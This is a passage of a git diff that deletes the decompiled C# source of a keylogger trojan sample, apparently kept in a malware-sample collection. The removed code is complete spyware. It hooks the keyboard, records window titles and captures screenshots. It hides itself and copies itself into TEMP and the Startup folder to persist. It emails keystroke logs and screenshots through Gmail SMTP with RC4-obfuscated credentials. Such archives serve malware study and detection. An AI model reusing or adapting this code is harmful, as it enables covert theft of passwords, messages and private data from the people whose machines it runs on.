Keys.D3: - this.jojo += "3"; - break; - case Keys.D4: - this.jojo += "4"; - break; - case Keys.D5: - this.jojo += "5"; - break; - case Keys.D6: - this.jojo += "6"; - break; - case Keys.D7: - this.jojo += "7"; - break; - case Keys.D8: - this.jojo += "8"; - break; - case Keys.D9: - this.jojo += "9"; - break; - case Keys.A: - this.jojo += "a"; - break; - case Keys.B: - this.jojo += "b"; - break; - case Keys.C: - this.jojo += "c"; - break; - case Keys.D: - this.jojo += "d"; - break; - case Keys.E: - this.jojo += "e"; - break; - case Keys.F: - this.jojo += "f"; - break; - case Keys.G: - this.jojo += "g"; - break; - case Keys.H: - this.jojo += "h"; - break; - case Keys.I: - this.jojo += "i"; - break; - case Keys.J: - this.jojo += "j"; - break; - case Keys.K: - this.jojo += "k"; - break; - case Keys.L: - this.jojo += "l"; - break; - case Keys.M: - this.jojo += "m"; - break; - case Keys.N: - this.jojo += "n"; - break; - case Keys.O: - this.jojo += "o"; - break; - case Keys.P: - this.jojo += "p"; - break; - case Keys.Q: - this.jojo += "q"; - break; - case Keys.R: - this.jojo += "r"; - break; - case Keys.S: - this.jojo += "s"; - break; - case Keys.T: - this.jojo += "t"; - break; - case Keys.U: - this.jojo += "u"; - break; - case Keys.V: - this.jojo += "v"; - break; - case Keys.W: - this.jojo += "w"; - break; - case Keys.X: - this.jojo += "x"; - break; - case Keys.Y: - this.jojo += "y"; - break; - case Keys.Z: - this.jojo += "z"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ";"; - break; - case Keys.Oemcomma: - this.jojo += ","; - break; - case Keys.OemMinus: - this.jojo += "-"; - break; - case Keys.OemPeriod: - this.jojo += "."; - break; - case Keys.OemQuestion: - this.jojo += "/"; - break; - case Keys.Oemtilde: - this.jojo += "`"; - break; - case Keys.OemOpenBrackets: - this.jojo += "["; - break; - case Keys.OemPipe: - this.jojo += "\\"; - break; - case Keys.OemCloseBrackets: - this.jojo += "]"; - break; - case Keys.OemQuotes: - this.jojo += "'"; - break; - } - } - else - { - if (!(MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock)) - return; - switch (Key) - { - case Keys.Back: - this.jojo += "[DEL]"; - break; - case Keys.Tab: - this.jojo += "[TAB]"; - break; - case Keys.Return: - this.jojo += "\r\n"; - break; - case Keys.Escape: - this.jojo += "[ESC]"; - break; - case Keys.Space: - this.jojo += " "; - break; - case Keys.End: - this.jojo += "[END]"; - break; - case Keys.Left: - this.jojo += "?"; - break; - case Keys.Up: - this.jojo += "?"; - break; - case Keys.Right: - this.jojo += "?"; - break; - case Keys.Down: - this.jojo += "?"; - break; - case Keys.Delete: - this.jojo += "[DEL]"; - break; - case Keys.D0: - this.jojo += ")"; - break; - case Keys.D1: - this.jojo += "!"; - break; - case Keys.D2: - this.jojo += "@"; - break; - case Keys.D3: - this.jojo += "#"; - break; - case Keys.D4: - this.jojo += "$"; - break; - case Keys.D5: - this.jojo += "%"; - break; - case Keys.D6: - this.jojo += "^"; - break; - case Keys.D7: - this.jojo += "&"; - break; - case Keys.D8: - this.jojo += "*"; - break; - case Keys.D9: - this.jojo += "("; - break; - case Keys.A: - this.jojo += "A"; - break; - case Keys.B: - this.jojo += "B"; - break; - case Keys.C: - this.jojo += "C"; - break; - case Keys.D: - this.jojo += "D"; - break; - case Keys.E: - this.jojo += "E"; - break; - case Keys.F: - this.jojo += "F"; - break; - case Keys.G: - this.jojo += "G"; - break; - case Keys.H: - this.jojo += "H"; - break; - case Keys.I: - this.jojo += "I"; - break; - case Keys.J: - this.jojo += "J"; - break; - case Keys.K: - this.jojo += "K"; - break; - case Keys.L: - this.jojo += "L"; - break; - case Keys.M: - this.jojo += "M"; - break; - case Keys.N: - this.jojo += "N"; - break; - case Keys.O: - this.jojo += "O"; - break; - case Keys.P: - this.jojo += "P"; - break; - case Keys.Q: - this.jojo += "Q"; - break; - case Keys.R: - this.jojo += "R"; - break; - case Keys.S: - this.jojo += "S"; - break; - case Keys.T: - this.jojo += "T"; - break; - case Keys.U: - this.jojo += "U"; - break; - case Keys.V: - this.jojo += "V"; - break; - case Keys.W: - this.jojo += "W"; - break; - case Keys.X: - this.jojo += "X"; - break; - case Keys.Y: - this.jojo += "Y"; - break; - case Keys.Z: - this.jojo += "Z"; - break; - case Keys.Multiply: - this.jojo += "*"; - break; - case Keys.Add: - this.jojo += "+"; - break; - case Keys.Subtract: - this.jojo += "-"; - break; - case Keys.Decimal: - this.jojo += "."; - break; - case Keys.Divide: - this.jojo += "/"; - break; - case Keys.F1: - this.jojo += "[F1]"; - break; - case Keys.F2: - this.jojo += "[F2]"; - break; - case Keys.F3: - this.jojo += "[F3]"; - break; - case Keys.F4: - this.jojo += "[F4]"; - break; - case Keys.F5: - this.jojo += "[F5]"; - break; - case Keys.F6: - this.jojo += "[F6]"; - break; - case Keys.F7: - this.jojo += "[F7]"; - break; - case Keys.F8: - this.jojo += "[F8]"; - break; - case Keys.F9: - this.jojo += "[F9]"; - break; - case Keys.F10: - this.jojo += "[F10]"; - break; - case Keys.F11: - this.jojo += "[F11]"; - break; - case Keys.F12: - this.jojo += "[F12]"; - break; - case Keys.OemSemicolon: - this.jojo += ":"; - break; - case Keys.Oemcomma: - this.jojo += "<"; - break; - case Keys.OemMinus: - this.jojo += "_"; - break; - case Keys.OemPeriod: - this.jojo += ">"; - break; - case Keys.OemQuestion: - this.jojo += "?"; - break; - case Keys.Oemtilde: - this.jojo += "~"; - break; - case Keys.OemOpenBrackets: - this.jojo += "{"; - break; - case Keys.OemPipe: - this.jojo += "|"; - break; - case Keys.OemCloseBrackets: - this.jojo += "}"; - break; - case Keys.OemQuotes: - this.jojo += this.Label1.Text; - break; - } - } - } - - private void Form1_Load(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - this.Visible = false; -label_2: - num3 = 3; - Microsoft.VisualBasic.FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); -label_3: - num3 = 4; - this.text1 = Strings.Space(checked ((int) Microsoft.VisualBasic.FileSystem.LOF(1))); -label_4: - num3 = 5; - this.text2 = Strings.Space(checked ((int) Microsoft.VisualBasic.FileSystem.LOF(1))); -label_5: - num3 = 6; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text1); -label_6: - num3 = 7; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text2); -label_7: - num3 = 8; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text3); -label_8: - num3 = 9; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text4); -label_9: - num3 = 10; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text5); -label_10: - num3 = 11; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text6); -label_11: - num3 = 12; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text7); -label_12: - num3 = 13; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text8); -label_13: - num3 = 14; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text9); -label_14: - num3 = 15; - Microsoft.VisualBasic.FileSystem.FileGet(1, ref this.text10); -label_15: - num3 = 16; - Microsoft.VisualBasic.FileSystem.FileClose(1); -label_16: - num3 = 17; - this.options = Strings.Split(this.text1, "@jojogizmojake@"); -label_17: - num3 = 18; - this.us = this.options[1]; -label_18: - num3 = 19; - this.pa = this.options[2]; -label_19: - num3 = 20; - this.t0 = this.options[3]; -label_20: - num3 = 21; - this.sendl = this.options[4]; -label_21: - num3 = 22; - this.screen = this.options[5]; -label_22: - num3 = 23; - this.sends = this.options[6]; -label_23: - num3 = 24; - this.ncrypt = this.options[7]; -label_24: - num3 = 25; - this.up = this.options[8]; -label_25: - num3 = 26; - this.pr0ccess = this.options[9]; -label_26: - num3 = 27; - bool flag = MyProject.Computer.FileSystem.FileExists(this.TEMP + "\\" + this.pr0ccess); -label_27: - num3 = 28; - if (flag) - goto label_31; -label_28: - num3 = 29; - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, this.TEMP + "\\" + this.pr0ccess); -label_29: - num3 = 30; - Process.Start(this.TEMP + "\\" + this.pr0ccess); -label_30: - num3 = 31; - this.Close(); -label_31: - num3 = 33; - if (Operators.CompareString(this.up, "1", false) != 0) - goto label_40; -label_32: - num3 = 34; - string pr0ccess = this.pr0ccess; -label_33: - num3 = 35; - string sourceFileName = this.TEMP + "\\" + this.pr0ccess; -label_34: - num3 = 36; - string path = "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\"; -label_35: - num3 = 37; - DirectoryInfo directoryInfo = new DirectoryInfo(path); -label_36: - num3 = 38; - if (directoryInfo.Exists) - goto label_38; -label_37: - num3 = 39; - MyProject.Computer.FileSystem.CopyFile(sourceFileName, "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + pr0ccess, true); - goto label_40; -label_38: - num3 = 41; -label_39: - num3 = 42; - MyProject.Computer.FileSystem.CopyFile(sourceFileName, "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\" + pr0ccess, true); -label_40: - num3 = 45; - this.Timer1.Interval = Conversions.ToInteger(this.sendl); -label_41: - num3 = 46; - this.Timer2.Interval = Conversions.ToInteger(this.sends); -label_42: - num3 = 47; - this.Timer3.Start(); -label_43: - num3 = 48; - this.Timer1.Start(); -label_44: - num3 = 49; - if (!Conversions.ToBoolean(this.screen)) - goto label_52; -label_45: - num3 = 50; - this.Timer2.Start(); - goto label_52; -label_47: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - goto label_19; - case 21: - goto label_20; - case 22: - goto label_21; - case 23: - goto label_22; - case 24: - goto label_23; - case 25: - goto label_24; - case 26: - goto label_25; - case 27: - goto label_26; - case 28: - goto label_27; - case 29: - goto label_28; - case 30: - goto label_29; - case 31: - goto label_30; - case 32: - case 33: - goto label_31; - case 34: - goto label_32; - case 35: - goto label_33; - case 36: - goto label_34; - case 37: - goto label_35; - case 38: - goto label_36; - case 39: - goto label_37; - case 40: - case 43: - case 44: - case 45: - goto label_40; - case 41: - goto label_38; - case 42: - goto label_39; - case 46: - goto label_41; - case 47: - goto label_42; - case 48: - goto label_43; - case 49: - goto label_44; - case 50: - goto label_45; - case 51: - case 52: - goto label_52; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_47; - } - throw ProjectData.CreateProjectError(-2146828237); -label_52: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer1_Tick(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - if (Operators.CompareString(this.ncrypt, "1", false) != 0) - goto label_5; -label_2: - num3 = 3; - string key1 = "jojogizmojake"; -label_3: - num3 = 4; - this.us = Module1.Encryption.Decrypt(this.us, key1); -label_4: - num3 = 5; - this.pa = Module1.Encryption.Decrypt(this.pa, key1); -label_5: - num3 = 7; - MailMessage message = new MailMessage(); -label_6: - num3 = 8; - message.From = new MailAddress("J-Logger@gmail.com"); -label_7: - num3 = 9; - message.To.Add(this.t0); -label_8: - num3 = 10; - message.Subject = "User Name : " + Environment.UserName.ToString(); -label_9: - num3 = 11; - message.Body = this.jojo; -label_10: - num3 = 12; - SmtpClient smtpClient = new SmtpClient("smtp.gmail.com"); -label_11: - num3 = 13; - smtpClient.Port = 587; -label_12: - num3 = 14; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(this.us, this.pa); -label_13: - num3 = 15; - smtpClient.EnableSsl = true; -label_14: - num3 = 16; - smtpClient.Send(message); -label_15: - num3 = 17; - if (Operators.CompareString(this.ncrypt, "1", false) != 0) - goto label_25; -label_16: - num3 = 18; - string key2 = "jojogizmojake"; -label_17: - num3 = 19; - this.us = Module1.Encryption.Encrypt(this.us, key2); -label_18: - num3 = 20; - this.pa = Module1.Encryption.Encrypt(this.pa, key2); - goto label_25; -label_20: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - case 7: - goto label_5; - case 8: - goto label_6; - case 9: - goto label_7; - case 10: - goto label_8; - case 11: - goto label_9; - case 12: - goto label_10; - case 13: - goto label_11; - case 14: - goto label_12; - case 15: - goto label_13; - case 16: - goto label_14; - case 17: - goto label_15; - case 18: - goto label_16; - case 19: - goto label_17; - case 20: - goto label_18; - case 21: - case 22: - goto label_25; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_20; - } - throw ProjectData.CreateProjectError(-2146828237); -label_25: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer2_Tick(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - if (Operators.CompareString(this.ncrypt, "1", false) != 0) - goto label_5; -label_2: - num3 = 3; - string key1 = "jojogizmojake"; -label_3: - num3 = 4; - this.us = Module1.Encryption.Decrypt(this.us, key1); -label_4: - num3 = 5; - this.pa = Module1.Encryption.Decrypt(this.pa, key1); -label_5: - num3 = 7; - Bitmap bitmap = new Bitmap(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); -label_6: - num3 = 8; - Graphics graphics = Graphics.FromImage((Image) bitmap); -label_7: - num3 = 9; - graphics.CopyFromScreen(new Point(0, 0), new Point(0, 0), new Size(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height)); -label_8: - num3 = 10; - bitmap.Save(this.TEMP + "\\screenImage.jpg", ImageFormat.Jpeg); -label_9: - num3 = 11; - MailMessage message = new MailMessage(); -label_10: - num3 = 12; - message.From = new MailAddress("J-Logger@gmail.com"); -label_11: - num3 = 13; - message.To.Add(this.t0); -label_12: - num3 = 14; - message.Subject = "User Name : " + Environment.UserName.ToString() + " Screenshot"; -label_13: - num3 = 15; - message.Body = "There is a screen shot attachment on this email"; -label_14: - num3 = 16; - Attachment attachment = new Attachment(this.TEMP + "\\screenImage.jpg"); -label_15: - num3 = 17; - message.Attachments.Add(attachment); -label_16: - num3 = 18; - SmtpClient smtpClient = new SmtpClient("smtp.gmail.com"); -label_17: - num3 = 19; - smtpClient.Port = 587; -label_18: - num3 = 20; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(this.us, this.pa); -label_19: - num3 = 21; - smtpClient.EnableSsl = true; -label_20: - num3 = 22; - smtpClient.Send(message); -label_21: - num3 = 23; - message.Dispose(); -label_22: - num3 = 24; - bitmap.Dispose(); -label_23: - num3 = 25; - bool flag = MyProject.Computer.FileSystem.FileExists(this.TEMP + "\\screenImage.jpg"); -label_24: - num3 = 26; - if (!flag) - goto label_26; -label_25: - num3 = 27; - MyProject.Computer.FileSystem.DeleteFile(this.TEMP + "\\screenImage.jpg", UIOption.OnlyErrorDialogs, RecycleOption.DeletePermanently); -label_26: - num3 = 29; - if (Operators.CompareString(this.ncrypt, "1", false) != 0) - goto label_36; -label_27: - num3 = 30; - string key2 = "jojogizmojake"; -label_28: - num3 = 31; - this.us = Module1.Encryption.Encrypt(this.us, key2); -label_29: - num3 = 32; - this.pa = Module1.Encryption.Encrypt(this.pa, key2); - goto label_36; -label_31: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - case 7: - goto label_5; - case 8: - goto label_6; - case 9: - goto label_7; - case 10: - goto label_8; - case 11: - goto label_9; - case 12: - goto label_10; - case 13: - goto label_11; - case 14: - goto label_12; - case 15: - goto label_13; - case 16: - goto label_14; - case 17: - goto label_15; - case 18: - goto label_16; - case 19: - goto label_17; - case 20: - goto label_18; - case 21: - goto label_19; - case 22: - goto label_20; - case 23: - goto label_21; - case 24: - goto label_22; - case 25: - goto label_23; - case 26: - goto label_24; - case 27: - goto label_25; - case 28: - case 29: - goto label_26; - case 30: - goto label_27; - case 31: - goto label_28; - case 32: - goto label_29; - case 33: - case 34: - case 35: - goto label_36; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_31; - } - throw ProjectData.CreateProjectError(-2146828237); -label_36: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Timer3_Tick(object sender, EventArgs e) - { - if (Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) == 0 || Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) == 0) - return; - this.jojo = this.jojo + "\r\n--------[" + this.GetActiveWindowTitle() + "]--------\r\n"; - this.strin = this.GetActiveWindowTitle(); - } - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - public class KeyboardHook - { - private const int HC_ACTION = 0; - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYDOWN = 260; - private const int WM_SYSKEYUP = 261; - private static int KeyHook; - private static Form1.KeyboardHook.KeyboardProcDelegate KeyHookDelegate; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Form1.KeyboardHook.KeyboardProcDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int UnhookWindowsHookEx(int hHook); - - public static event Form1.KeyboardHook.KeyDownEventHandler KeyDown; - - public static event Form1.KeyboardHook.KeyUpEventHandler KeyUp; - - public KeyboardHook() - { - Form1.KeyboardHook.KeyHookDelegate = new Form1.KeyboardHook.KeyboardProcDelegate(Form1.KeyboardHook.KeyboardProc); - Form1.KeyboardHook.KeyHook = Form1.KeyboardHook.SetWindowsHookEx(13, Form1.KeyboardHook.KeyHookDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private static int KeyboardProc( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam) - { - if (nCode == 0) - { - switch (wParam) - { - case 256: - case 260: - Form1.KeyboardHook.KeyDownEventHandler keyDownEvent = Form1.KeyboardHook.KeyDownEvent; - if (keyDownEvent != null) - { - keyDownEvent((Keys) lParam.vkCode); - break; - } - break; - case 257: - case 261: - Form1.KeyboardHook.KeyUpEventHandler keyUpEvent = Form1.KeyboardHook.KeyUpEvent; - if (keyUpEvent != null) - { - keyUpEvent((Keys) lParam.vkCode); - break; - } - break; - } - } - return Form1.KeyboardHook.CallNextHookEx(Form1.KeyboardHook.KeyHook, nCode, wParam, lParam); - } - - ~KeyboardHook() - { - Form1.KeyboardHook.UnhookWindowsHookEx(Form1.KeyboardHook.KeyHook); - // ISSUE: explicit finalizer call - base.Finalize(); - } - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scancode; - public int flags; - public int time; - public int dwExtraInfo; - } - - private delegate int KeyboardProcDelegate( - int nCode, - int wParam, - ref Form1.KeyboardHook.KBDLLHOOKSTRUCT lParam); - - public delegate void KeyDownEventHandler(Keys Key); - - public delegate void KeyUpEventHandler(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Module1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Module1.cs deleted file mode 100644 index 8ee7db0f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/Module1.cs +++ /dev/null @@ -1,142 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.Module1 -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Text; -using System.Threading; - -namespace J_Logger_Public_Stub -{ - [StandardModule] - internal sealed class Module1 - { - public sealed class Encryption - { - private Encryption() - { - } - - public static string Encrypt(string message, string key) - { - switch (message) - { - case "": - case null: - throw new ArgumentNullException(nameof (message)); - default: - switch (key) - { - case "": - case null: - throw new ArgumentNullException(nameof (key)); - default: - string empty = string.Empty; - return Module1.Encryption.StringToHex(Module1.Encryption.EnDeCrypt(message, key)); - } - } - } - - public static string Decrypt(string message, string key) - { - switch (message) - { - case "": - case null: - throw new ArgumentNullException(nameof (message)); - default: - switch (key) - { - case "": - case null: - throw new ArgumentNullException(nameof (key)); - default: - string empty = string.Empty; - return Module1.Encryption.EnDeCrypt(Module1.Encryption.HexToString(message), key); - } - } - } - - private static string EnDeCrypt(string message, string password) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - private static string StringToHex(string message) - { - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - long num = (long) Strings.Len(message); - long Start = 1; - while (Start <= num) - { - stringBuilder.Append(Strings.Right("0" + Conversion.Hex(Strings.Asc(Strings.Mid(message, checked ((int) Start), 1))), 2)); - checked { ++Start; } - } - string hex = stringBuilder.ToString(); - stringBuilder.Length = 0; - return hex; - } - - private static string HexToString(string hex) - { - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - long num = (long) Strings.Len(hex); - long Start = 1; - while (Start <= num) - { - stringBuilder.Append(Strings.Chr(Conversions.ToInteger("&h" + Strings.Mid(hex, checked ((int) Start), 2)))); - checked { Start += 2L; } - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyApplication.cs deleted file mode 100644 index 8b9dd99a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MyApplication -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace J_Logger_Public_Stub.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyComputer.cs deleted file mode 100644 index 07a5f502..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-a5d03ea1ab998622c25e0f7dbf38a720c5bf31fe0bd1808586ee20044e123772/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MyComputer -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: 